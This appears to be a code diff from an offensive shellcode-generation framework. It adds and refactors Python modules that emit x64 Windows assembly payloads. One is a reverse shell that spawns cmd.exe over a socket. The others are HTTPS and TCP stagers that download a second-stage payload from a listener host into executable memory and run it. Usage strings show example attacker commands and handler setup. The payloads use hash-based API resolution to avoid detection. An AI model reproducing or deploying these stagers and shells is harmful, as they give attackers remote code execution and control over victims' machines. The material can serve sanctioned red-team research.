advanced["EXITFUNC"] = {}
advanced["EXITFUNC"]["optional"] = "yes"
advanced["EXITFUNC"]["description"] = "Exit technique"
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
"func": "Have the shellcode operate as function",
"thread": "Exit as a thread",
"process": "Exit as a process" }
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
@@ -63,7 +74,6 @@ class Shellcode():
"Kernel32.dll": [
"LoadLibraryA",
"CreateProcessA",
"TerminateProcess",
],
"Ws2_32.dll": [
"WSAStartup",
@@ -72,197 +82,80 @@ class Shellcode():
],
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({
"wsaData" : 0x00,
"name" : 0x00,
"lpStartInfo" : ctypes.sizeof(processthreadsapi._STARTUPINFOA),
"lpCommandLine" : len("cmd\x00\x00\x00\x00\x00"),
"lpCommandLine" : self.shell_env_len,
"lpProcessInformation" : 0x00,
})
})
self.stack_space = builder.calc_stack_space(sc_args)
self.storage_offsets = builder.gen_offsets(sc_args)
return
def get_kernel32(self):
"""Generates stub for obtaining the base address of Kernel32.dll
def set_args(self):
"""Configure the arguments that may be used by the shellcode stub
"""
stub = f"""
getKernel32:
push rbp
mov rbp, rsp
mov dl, 0x4b
getPEB:
mov rcx, 0x60
mov r8, gs:[rcx]
getHeadEntry:
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
xor rcx, rcx
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov rdi, [rdi]
cmp [rsi + 0x18], cx
jne search
cmp [rsi], dl
jne search
found:
leave
ret
"""
return stub
def lookup_function(self):
"""Generates the stub responsible for obtaining the base address of a function
"""
stub = f"""
lookupFunction:
push rbp
mov rbp, rsp
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
add rbx, rdi
mov eax, [rbx]
mov rbx, rdi
add rbx, rax
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov r8, rdi
add r8, rax
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
parseNames:
jecxz error
dec ecx
mov eax, [r8 + rcx * 4]
mov rsi, rdi
add rsi, rax
xor r9, r9
xor rax, rax
cld
calcHash:
lodsb
test al, al
jz calcDone
ror r9d, 0xD
add r9, rax
jmp calcHash
calcDone:
cmp r9d, edx
jnz parseNames
findAddress:
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add r8, rdi
xor rax, rax
mov ax, [r8 + rcx * 2]
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add r8, rdi
mov eax, [r8 + rax * 4]
add rax, rdi
error:
leave
ret
"""
return stub
def load_library(self, lib):
"""Generates the stub to load a library not currently loaded into a process
"""
lists = convert.from_str_to_xwords(lib)
write_index = self.storage_offsets['functionName']
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(lists["DWORD_LIST"])):
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp-{write_index}], cl
lea rcx, [rbp - {self.storage_offsets['functionName']}]
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
call rax
"""
return src
def resolve_functions(self):
"""This function is responsible for loading all libraries and resolving respective functions
"""
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.load_library(lib)
stub += """
mov rdi, rax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov rdx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [rbp - {self.storage_offsets[imports[func]]}], rax
"""
return stub
def generate_source(self):
"""Returns bytecode generated by the keystone engine.
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
all_args = Shellcode.arguments
all_args.update(Shellcode.advanced)
argv_dict = (modparser.argument_check(all_args, self.arg_list))
if (argv_dict == None):
exit(-1)
if ("LPORT" not in argv_dict.keys()):
lport = 4444
# Set the shell environment that will be used by the shellcode. We must
# ensure to NULL terminate it.
if "SHELL" not in argv_dict.keys():
self.shell = "cmd.exe"
else:
lport = int(argv_dict["LPORT"])
self.shell = argv_dict["SHELL"]
self.shell += "\x00"
while (len(self.shell) % 8) != 0:
self.shell += "\x00"
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
sin_port = struct.pack('<H', lport).hex()
# Document the size of the shell environment
self.shell_env_len = len(self.shell)
# Configure the options used by the host to obtain the callback
if "LPORT" not in argv_dict.keys():
self.lport = 4242
else:
self.lport = int(argv_dict["LPORT"])
self.lhost = argv_dict['LHOST']
# Set the EXITFUNC and update the necessary dependencies
self.exit_func = ""
if "EXITFUNC" not in argv_dict.keys():
self.exit_func = "terminate"
else:
self.exit_func = argv_dict["EXITFUNC"]
if self.exit_func == "terminate":
self.dependencies["Kernel32.dll"] += "TerminateProcess",
elif self.exit_func == "thread":
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
elif self.exit_func == "process":
self.dependencies["Kernel32.dll"] += "ExitProcess",
return 0
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
# Setup the members of the sockaddr structure
sin_port = struct.pack('<H', self.lport).hex()
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
shellcode = f"""
_start:
push rbp
mov rbp, rsp
sub rsp, {self.stack_space}
and rsp, 0xfffffffffffffff0
call getKernel32
mov rdi, rax
"""
shellcode += self.resolve_functions()
shellcode += f"""
src = f"""
; RAX => WSAStartup([in] WORD wVersionRequired, // RCX => MAKEWORD(2, 2)
; [out] LPWSADATA lpWSAData); // RDX => &wsaData
call_WSAStartup:
@@ -331,14 +224,36 @@ init_STARTUPINFOA:
; [in, optional] LPCSTR lpCurrentDirectory, // RSP+0x38 => NULL
; [in] LPSTARTUPINFOA lpStartupInfo, // RSP+0x40 => &lpStartupInfo
; [out] LPPROCESS_INFORMATION lpProcessInformation); // RSP+0x48 => &lpStartupInfo
call_CreateProccessA:
xor ecx, ecx
mov rdx, rbp
lea rdx, [rbp - {self.storage_offsets['lpCommandLine']}]
xor rax, rax
mov eax, 0x646d63
mov [rdx], rax
xor r8, r8
call_CreateProccessA:\n"""
cmd_buffer = convert.from_str_to_xwords(self.shell)
write_index = self.storage_offsets['lpCommandLine']
for i in range(len(cmd_buffer["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', cmd_buffer["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(cmd_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(cmd_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(cmd_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f""" xor rcx, rcx
mov [rbp - {write_index}], cl
lea rdx, [rbp - {self.storage_offsets['lpCommandLine']}]\n"""
src += f""" xor r8, r8
xor r9, r9
xor eax, eax
inc eax
@@ -351,33 +266,22 @@ call_CreateProccessA:
lea rbx, [rbp - {self.storage_offsets['lpProcessInformation']}]
mov [rsp + 0x48], rbx
mov rax, [rbp - {self.storage_offsets['CreateProcessA']}]
call rax
call rax\n"""
; RAX => TerminateProcess([in] HANDLE hProcess, // RCX => -1 (Current Process)
; [in] UINT uExitCode); // RDX => 0x00 (Clean Exit)
call_TerminateProcess:
xor rcx, rcx
dec rcx
xor rdx, rdx
mov rax, [rbp - {self.storage_offsets['TerminateProcess']}]
call rax
fin:
leave
ret
"""
shellcode += self.get_kernel32()
shellcode += self.lookup_function()
return shellcode
return src
def get_shellcode(self):
"""Generates Windows (x64) generic reverse shell
"""Generates Shellcode
"""
generator = Assembler(Shellcode.arch)
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
self.exit_func)
src = self.generate_source()
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
shellcode = generator.get_bytes_from_asm(src)
return generator.get_bytes_from_asm(src)
return shellcode
@@ -0,0 +1,390 @@
import sys
import struct
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.headers.windows import (
winnt,
)
class Shellcode():
arch = "x64"
platform = "windows"
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader (HTTPS)"
module = f"{platform}/{arch}/virtualalloc_exec_https"
example_run = f"{sys.argv[0]} -p {module} LHOST=192.168.50.210 LPORT=443 -f c"
ring = 3
author = ["wetw0rk"]
tested_platforms = ["Windows 10 (10.0.19045 N/A Build 19045)"]
summary = ("A lightweight stager that connects to a handler over HTTPS to receive and execute shellcode")
description = ("This shellcode stub connects to a remote server handler over HTTPS, downloads a second-stage"
" payload, and executes it. You can generate this initial stager using the following syntax."
"\n\n"
f" {sys.argv[0]} -p {module} LHOST=192.168.50.210 LPORT=443 -f c"
"\n\n"
"Sickle can be used to start a handler as shown below:\n\n"
f" {sys.argv[0]} -m handler -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe "
"HANDLER=https SRVHOST=192.168.50.210 SRVPORT=443\n\n"
"Upon execution of the first stage, you should get a connection from the target on your handler"
" and the second stage should begin executing on the target machine")
arguments = {}
arguments["LHOST"] = {}
arguments["LHOST"]["optional"] = "no"
arguments["LHOST"]["description"] = "Listener host to receive the callback"
arguments["LPORT"] = {}
arguments["LPORT"]["optional"] = "yes"
arguments["LPORT"]["description"] = "Listening port on listener host"
advanced = {}
advanced["USER_AGENT"] = {}
advanced["USER_AGENT"]["optional"] = "yes"
advanced["USER_AGENT"]["description"] = "User agent to use for HTTPS communication"
advanced["REQUEST"] = {}
advanced["REQUEST"]["optional"] = "yes"
advanced["REQUEST"]["description"] = "The HTTP request to use when fetching the second stage"
advanced["REQUEST"]["options"] = { "GET": "Standard GET request" }
advanced["PATH"] = {}
advanced["PATH"]["optional"] = "yes"
advanced["PATH"]["description"] = "The HTTP path where the payload is hosted on the target server"
def __init__(self, arg_object):
self.arg_list = arg_object["positional arguments"]
self.dependencies = {
"Kernel32.dll": [
"LoadLibraryA",
"VirtualAlloc",
],
"wininet.dll" : [
"InternetOpenA",
"InternetConnectA",
"HttpOpenRequestA",
"InternetSetOptionA",
"HttpSendRequestA",
"InternetReadFile",
],
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({
"caUserAgent" : self.user_agent_size,
"caHost" : len(self.lhost),
"caPath" : len(self.path),
"caRequest" : 0x00,
"lpdwNumberOfBytesRead" : 0x00,
"lpvShellcode" : 0x00,
"hInternet" : 0x00,
"hConnect" : 0x00,
"hRequest" : 0x00,
"dwFlags" : 0x00,
"dwSize" : 0x00,
})
self.stack_space = builder.calc_stack_space(sc_args)
self.storage_offsets = builder.gen_offsets(sc_args)
return
def set_args(self):
"""Configure the arguments that may be used by the shellcode stub
"""
all_args = Shellcode.arguments
all_args.update(Shellcode.advanced)
argv_dict = modparser.argument_check(all_args, self.arg_list)
if (argv_dict == None):
exit(-1)
# Configure the options used by the host to obtain the callback
if "LPORT" not in argv_dict.keys():
self.lport = 4242
else:
self.lport = int(argv_dict["LPORT"])
self.lhost = argv_dict['LHOST']
# Set the User-Agent
if "USER_AGENT" not in argv_dict.keys():
self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.3485.66"
else:
self.user_agent = argv_dict["USER_AGENT"]
self.user_agent_size = len(self.user_agent)
# Set the request type
req_type = "GET"
if "REQUEST" not in argv_dict.keys():
req_type = b"GET"
else:
req_type = bytes(argv_dict["REQUEST"], 'latin-1')
# Ensure that the request can be packed
req_type += b"\x00" * (8 - len(req_type))
self.request = hex( struct.unpack('>Q', req_type[::-1])[0] )
# Set the SSL flags
self.dwSSLFlags = (0x00800000 | 0x00001000)
self.dwFlags = (0x00000100 | 0x10000000 | 0x00000200)
# Set the HTTP path
if "PATH" not in argv_dict.keys():
self.path = "/corn"
else:
self.path = argv_dict["PATH"]
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
user_agent_buffer = convert.from_str_to_xwords(self.user_agent)
write_index = self.storage_offsets['caUserAgent']
src = ""
for i in range(len(user_agent_buffer["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', user_agent_buffer["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(user_agent_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', user_agent_buffer["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(user_agent_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', user_agent_buffer["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(user_agent_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(user_agent_buffer["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp - {write_index}], cl
lea rcx, [rbp - {self.storage_offsets['caUserAgent']}]\n"""
src += f"""
; HINTERNET InternetOpenA([in] LPCSTR lpszAgent,
; [in] DWORD dwAccessType,
; [in] LPCSTR lpszProxy,
; [in] LPCSTR lpszProxyBypass,
; [in] DWORD dwFlags);
xor rdx, rdx
xor r8, r8
xor r9, r9
mov [rsp + 0x20], r9
mov rax, [rbp - {self.storage_offsets['InternetOpenA']}]
call rax
mov [rbp - {self.storage_offsets['hInternet']}], rax\n"""
lhost_buffer = convert.from_str_to_xwords(self.lhost)
write_index = self.storage_offsets['caHost']
for i in range(len(lhost_buffer["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lhost_buffer["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(lhost_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', lhost_buffer["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lhost_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', lhost_buffer["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lhost_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(lhost_buffer["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp - {write_index}], cl
lea rdx, [rbp - {self.storage_offsets['caHost']}]\n"""
src += f"""
; HINTERNET InternetConnectA([in] HINTERNET hInternet,
; [in] LPCSTR lpszServerName,
; [in] INTERNET_PORT nServerPort,
; [in] LPCSTR lpszUserName,
; [in] LPCSTR lpszPassword,
; [in] DWORD dwService,
; [in] DWORD dwFlags,
; [in] DWORD_PTR dwContext);
mov rcx, [rbp - {self.storage_offsets['hInternet']}]
mov r8, {hex(self.lport)}
xor r9, r9
mov [rsp + 0x20], r9
mov r11, 0x03
mov [rsp + 0x28], r11
mov [rsp + 0x30], r9
mov [rsp + 0x38], r9
mov rax, [rbp - {self.storage_offsets['InternetConnectA']}]
call rax
mov [rbp - {self.storage_offsets['hConnect']}], rax\n"""
path_buffer = convert.from_str_to_xwords(self.path)
write_index = self.storage_offsets['caPath']
for i in range(len(path_buffer["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', path_buffer["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(path_buffer["DWORD_LIST"])):
src += " mov ecx, 0x{}\n".format( struct.pack('<L', path_buffer["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(path_buffer["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', path_buffer["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(path_buffer["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(path_buffer["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp - {write_index}], cl
lea r8, [rbp - {self.storage_offsets['caPath']}]\n"""
src += f"""
; HINTERNET HttpOpenRequestA([in] HINTERNET hConnect,
; [in] LPCSTR lpszVerb,
; [in] LPCSTR lpszObjectName,
; [in] LPCSTR lpszVersion,
; [in] LPCSTR lpszReferrer,
; [in] LPCSTR *lplpszAcceptTypes,
; [in] DWORD dwFlags,
; [in] DWORD_PTR dwContext);
mov rcx, [rbp - {self.storage_offsets['hConnect']}]
mov r11, {self.request}
mov [rbp - {self.storage_offsets['caRequest']}], r11
lea rdx, [rbp - {self.storage_offsets['caRequest']}]
xor r9, r9
mov [rsp + 0x20], r9
mov [rsp + 0x28], r9
mov r11, {hex(self.dwSSLFlags)}
mov [rsp + 0x30], r11
mov [rsp + 0x38], r9
mov rax, [rbp - {self.storage_offsets['HttpOpenRequestA']}]
call rax
mov [rbp - {self.storage_offsets['hRequest']}], rax
; BOOL InternetSetOptionA([in] HINTERNET hInternet,
; [in] DWORD dwOption,
; [in] LPVOID lpBuffer,
; [in] DWORD dwBufferLength);
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
mov rdx, 0x1F
mov r11, {hex(self.dwFlags)}
mov [rbp - {self.storage_offsets['dwFlags']}], r11
lea r8, [rbp - {self.storage_offsets['dwFlags']}]
mov r9, 0x04
mov rax, [rbp - {self.storage_offsets['InternetSetOptionA']}]
call rax
; BOOL HttpSendRequestA([in] HINTERNET hRequest,
; [in] LPCSTR lpszHeaders,
; [in] DWORD dwHeadersLength,
; [in] LPVOID lpOptional,
; [in] DWORD dwOptionalLength);
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
xor rdx, rdx
xor r8, r8
xor r9, r9
mov [rsp + 0x20], r9
mov rax, [rbp - {self.storage_offsets['HttpSendRequestA']}]
call rax
; BOOL InternetReadFile([in] HINTERNET hFile,
; [out] LPVOID lpBuffer,
; [in] DWORD dwNumberOfBytesToRead,
; [out] LPDWORD lpdwNumberOfBytesRead);
lea rdx, [rbp - {self.storage_offsets['dwSize']}]
mov r8, 0x08
call_InternetReadFile:
mov rcx, [rbp - {self.storage_offsets['hRequest']}]
lea r9, [rbp - {self.storage_offsets['lpdwNumberOfBytesRead']}]
mov rax, [rbp - {self.storage_offsets['InternetReadFile']}]
call rax
mov eax, [rbp - {self.storage_offsets['lpdwNumberOfBytesRead']}]
cmp rax, 0x08
jg download_complete
; LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,
; [in] SIZE_T dwSize,
; [in] DWORD flAllocationType,
; [in] DWORD flProtect);
call_VirtualAlloc:
mov rcx, [rbp - {self.storage_offsets['lpvShellcode']}]
mov rdx, [rbp - {self.storage_offsets['dwSize']}]
mov r8, {winnt.MEM_COMMIT | winnt.MEM_RESERVE}
mov r9, {winnt.PAGE_EXECUTE_READWRITE}
mov rax, [rbp - {self.storage_offsets['VirtualAlloc']}]
call rax
mov [rbp - {self.storage_offsets['lpvShellcode']}], rax
mov rdx, rax
mov r8, [rbp - {self.storage_offsets['dwSize']}]
jmp call_InternetReadFile
download_complete:
jmp [rbp - {self.storage_offsets['lpvShellcode']}]\n"""
return src
def get_shellcode(self):
"""Generates shellcode
"""
generator = Assembler(Shellcode.arch)
win_stubs = stubhub.WinRawr(self.storage_offsets,
self.dependencies,
self.stack_space,
None)
main_src = self.gen_main()
src = win_stubs.gen_source(main_src)
shellcode = generator.get_bytes_from_asm(src)
return shellcode
@@ -1,20 +1,17 @@
import sys
import math
import ctypes
import struct
from sickle.common.lib.generic import extract
from sickle.common.lib.generic import convert
from sickle.common.lib.generic import modparser
from sickle.common.lib.programmer import builder
from sickle.common.lib.programmer import stubhub
from sickle.common.lib.reversing.assembler import Assembler
from sickle.common.headers.windows import (
winnt,
ntdef,
ws2def,
winternl
)
class Shellcode():
@@ -23,7 +20,7 @@ class Shellcode():
platform = "windows"
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader"
name = f"Windows ({arch}) VirtualAlloc Shellcode Loader (TCP)"
module = f"{platform}/{arch}/virtualalloc_exec_tcp"
@@ -38,15 +35,19 @@ class Shellcode():
summary = ("A lightweight stager that connects to a handler via TCP over IPv4 to receive and execute shellcode")
description = ("This shellcode stub connects to a remote server handler over TCP, downloads a second-stage"
" payload, and executes it.\n\n"
" payload, and executes it. You can generate this initial stager using the following syntax."
"\n\n"
"Your handler can be as simple as combining Sickle and Netcat:\n\n"
f" {sys.argv[0]} -p windows/x64/virtualalloc_exec_tcp LHOST=192.168.50.210 LPORT=80 -f c"
"\n\n"
f" {sys.argv[0]} -p windows/x64/reflective_pe EXE=/path/doom.exe -f raw | nc -lvp 8080\n\n"
"Sickle can be used to start a handler as shown below:\n\n"
f" {sys.argv[0]} -m handler -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe HANDLER=tcp SRVHOST=192.168.50.210 SRVPORT=80\n\n"
"Upon execution of the first stage, you should get a connection from the target on your"
" handler. If using Netcat, hit [CTRL]+[C]. Upon doing so, your shellcode should execute"
" in memory.")
" handler.")
arguments = {}
arguments["LHOST"] = {}
@@ -74,199 +75,60 @@ class Shellcode():
],
}
self.set_args()
sc_args = builder.init_sc_args(self.dependencies)
sc_args.update({
"wsaData" : 0x00,
"sockaddr_name" : 0x00,
"sockfd" : 0x00,
"pResponse" : 0x00,
"lpvShellcode" : 0x00,
"dwSize" : 0x00,
})
self.stack_space = builder.calc_stack_space(sc_args)
self.storage_offsets = builder.gen_offsets(sc_args)
self.sock_buffer_size = 0x1000 * 1100
return
def get_kernel32(self):
"""Generates stub for obtaining the base address of Kernel32.dll
def set_args(self):
"""Configure the arguments that may be used by the shellcode stub
"""
stub = f"""
getKernel32:
mov dl, 0x4b
getPEB:
mov rcx, 0x60
mov r8, gs:[rcx]
getHeadEntry:
mov rdi, [r8 + {winternl._PEB.Ldr.offset}]
mov rdi, [rdi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
search:
xor rcx, rcx
mov rax, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
mov rsi, [rdi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
mov rdi, [rdi]
cmp [rsi + 0x18], cx
jne search
cmp [rsi], dl
jne search
found:
ret
"""
return stub
def lookup_function(self):
"""Generates the stub responsible for obtaining the base address of a function
"""
stub = f"""
lookupFunction:
push rbp
mov rbp, rsp
mov ebx, [rdi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
add rbx, {winnt._IMAGE_NT_HEADERS64.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER64.DataDirectory.offset}
add rbx, rdi
mov eax, [rbx]
mov rbx, rdi
add rbx, rax
mov eax, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
mov r8, rdi
add r8, rax
mov rcx, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
parseNames:
jecxz error
dec ecx
mov eax, [r8 + rcx * 4]
mov rsi, rdi
add rsi, rax
xor r9, r9
xor rax, rax
cld
calcHash:
lodsb
test al, al
jz calcDone
ror r9d, 0xD
add r9, rax
jmp calcHash
calcDone:
cmp r9d, edx
jnz parseNames
findAddress:
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
add r8, rdi
xor rax, rax
mov ax, [r8 + rcx * 2]
mov r8d, [rbx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
add r8, rdi
mov eax, [r8 + rax * 4]
add rax, rdi
error:
leave
ret
"""
return stub
def load_library(self, lib):
"""Generates the stub to load a library not currently loaded into a process
"""
lists = convert.from_str_to_xwords(lib)
write_index = self.storage_offsets['functionName']
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
for i in range(len(lists["QWORD_LIST"])):
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', lists["QWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
write_index -= 8
for i in range(len(lists["DWORD_LIST"])):
src += " mov ecx, dword 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
write_index -= 4
for i in range(len(lists["WORD_LIST"])):
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
src += " mov [rbp-{}], cx\n".format(hex(write_index))
write_index -= 2
for i in range(len(lists["BYTE_LIST"])):
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
src += " mov [rbp-{}], cl\n".format(hex(write_index))
write_index -= 1
src += f"""
xor rcx, rcx
mov [rbp-{write_index}], cl
lea rcx, [rbp - {self.storage_offsets['functionName']}]
mov rax, [rbp - {self.storage_offsets['LoadLibraryA']}]
call rax
"""
return src
def resolve_functions(self):
"""This function is responsible for loading all libraries and resolving respective functions
"""
stub = ""
for lib, imports in self.dependencies.items():
if (lib != "Kernel32.dll"):
stub += self.load_library(lib)
stub += """
mov rdi, rax
"""
for func in range(len(imports)):
stub += f"""
get_{imports[func]}:
mov rdx, {convert.from_str_to_win_hash(imports[func])}
call lookupFunction
mov [rbp - {self.storage_offsets[imports[func]]}], rax
"""
return stub
def generate_source(self):
"""Returns bytecode generated by the keystone engine.
"""
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
all_args = Shellcode.arguments
argv_dict = modparser.argument_check(all_args, self.arg_list)
if (argv_dict == None):
exit(-1)
if ("LPORT" not in argv_dict.keys()):
lport = 4444
# Configure the options used by the host to obtain the callback
if "LPORT" not in argv_dict.keys():
self.lport = 4242
else:
lport = int(argv_dict["LPORT"])
self.lport = int(argv_dict["LPORT"])
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
sin_port = struct.pack('<H', lport).hex()
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
self.lhost = argv_dict['LHOST']
shellcode = f"""
_start:
push rbp
mov rbp, rsp
sub rsp, {self.stack_space}
call getKernel32
mov rdi, rax
def gen_main(self):
"""Returns assembly source code for the main functionality of the stub
"""
shellcode += self.resolve_functions()
# Setup the members of the sockaddr structure
sin_port = struct.pack('<H', self.lport).hex()
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
shellcode += f"""
src = f"""
; int WSAStartup([in] WORD wVersionRequired,
; [out] LPWSADATA lpWSAData);
call_WSAStartup:
mov rcx, 0x202
lea rdx, [rbp - {self.storage_offsets['wsaData']}]
mov rax, [rbp - {self.storage_offsets['WSAStartup']}]
call rax
; SOCKET WSAAPI socket([in] int af,
; [in] int type,
; [in] int protocol);
call_socket:
mov rcx, {ws2def.AF_INET}
xor rdx, rdx
@@ -276,6 +138,9 @@ call_socket:
call rax
mov [rbp - {self.storage_offsets['sockfd']}], rax
; int WSAAPI connect([in] SOCKET s,
; [in] const sockaddr *name,
; [in] int namelen);
call_connect:
mov rcx, rax
mov r8, {ctypes.sizeof(ws2def.sockaddr)}
@@ -289,53 +154,57 @@ call_connect:
xor rdx, rdx
mov [rbp - {self.storage_offsets['lpvShellcode']}], rdx
mov [rbp - {self.storage_offsets['pResponse']}], rdx
; int recv([in] SOCKET s,
; [out] char *buf,
; [in] int len,
; [in] int flags);
lea rdx, [rbp - {self.storage_offsets['dwSize']}]
mov r8, 0x08
call_recv:
mov rcx, [rbp - {self.storage_offsets['sockfd']}]
xor r9, r9
